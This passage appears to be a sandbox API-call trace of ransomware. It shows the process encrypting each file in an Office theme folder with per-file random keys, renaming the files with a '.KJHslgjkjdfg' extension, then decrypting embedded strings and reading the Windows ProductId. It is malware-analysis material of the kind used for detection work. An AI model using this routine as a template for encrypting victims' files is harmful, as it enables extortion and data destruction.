lpOverlapped=0x0) returned 1 [0146.326] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.326] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.326] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.326] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaec9, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xaec9, lpOverlapped=0x0) returned 1 [0146.327] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xaed0, dwBufLen=0xaed0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xaed0) returned 1 [0146.327] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.327] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaed0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xaed0, lpOverlapped=0x0) returned 1 [0146.328] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.328] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xaf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.328] SetEndOfFile (hFile=0x118) returned 1 [0146.331] GetProcessHeap () returned 0x2a0000 [0146.331] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0146.331] GetProcessHeap () returned 0x2a0000 [0146.331] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.kjhslgjkjdfg")) returned 1 [0146.331] CloseHandle (hObject=0x118) returned 1 [0146.332] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0146.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.333] GetProcessHeap () returned 0x2a0000 [0146.333] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.333] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.333] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.333] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0146.335] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.335] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.335] GetProcessHeap () returned 0x2a0000 [0146.335] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0146.335] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0146.335] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.335] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0146.335] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.335] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.335] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.336] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.336] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.336] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.336] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.336] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.336] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d1, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1d1, lpOverlapped=0x0) returned 1 [0146.336] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1e0) returned 1 [0146.336] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.336] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1e0, lpOverlapped=0x0) returned 1 [0146.336] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.336] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.336] SetEndOfFile (hFile=0x118) returned 1 [0146.339] GetProcessHeap () returned 0x2a0000 [0146.339] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0146.339] GetProcessHeap () returned 0x2a0000 [0146.339] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.kjhslgjkjdfg")) returned 1 [0146.349] CloseHandle (hObject=0x118) returned 1 [0146.349] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.349] GetProcessHeap () returned 0x2a0000 [0146.349] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.349] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.349] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.350] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0146.352] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.352] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.352] GetProcessHeap () returned 0x2a0000 [0146.352] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.352] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.352] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.352] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.352] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.352] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.352] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.352] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.352] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.353] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.353] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.353] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.353] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3b1, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x3b1, lpOverlapped=0x0) returned 1 [0146.353] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x3c0) returned 1 [0146.353] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.353] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x3c0, lpOverlapped=0x0) returned 1 [0146.353] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.353] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.353] SetEndOfFile (hFile=0x118) returned 1 [0146.356] GetProcessHeap () returned 0x2a0000 [0146.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.356] GetProcessHeap () returned 0x2a0000 [0146.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.357] CloseHandle (hObject=0x118) returned 1 [0146.357] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.357] GetProcessHeap () returned 0x2a0000 [0146.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.357] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.357] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.357] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0146.360] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.360] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.360] GetProcessHeap () returned 0x2a0000 [0146.360] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.360] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.360] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.360] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.360] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.360] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.360] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.360] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.361] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.361] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.361] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.361] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.361] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7f5f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x7f5f, lpOverlapped=0x0) returned 1 [0146.362] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7f60, dwBufLen=0x7f60 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7f60) returned 1 [0146.363] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.363] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x7f60, lpOverlapped=0x0) returned 1 [0146.363] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.363] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x8034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.363] SetEndOfFile (hFile=0x118) returned 1 [0146.366] GetProcessHeap () returned 0x2a0000 [0146.366] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.366] GetProcessHeap () returned 0x2a0000 [0146.366] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.367] CloseHandle (hObject=0x118) returned 1 [0146.367] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.367] GetProcessHeap () returned 0x2a0000 [0146.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.367] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.367] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.367] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.367] GetProcessHeap () returned 0x2a0000 [0146.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.367] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.367] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.367] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.367] GetProcessHeap () returned 0x2a0000 [0146.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.367] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.367] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.368] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.368] GetProcessHeap () returned 0x2a0000 [0146.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.368] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.368] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.368] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.368] GetProcessHeap () returned 0x2a0000 [0146.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.368] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.368] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.368] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.368] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.368] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.368] RegCloseKey (hKey=0x118) returned 0x0 [0146.368] GetProcessHeap () returned 0x2a0000 [0146.368] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.368] GetProcessHeap () returned 0x2a0000 [0146.368] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.368] GetProcessHeap () returned 0x2a0000 [0146.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.369] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.369] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.369] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.369] GetEnvironmentVariableW (in: 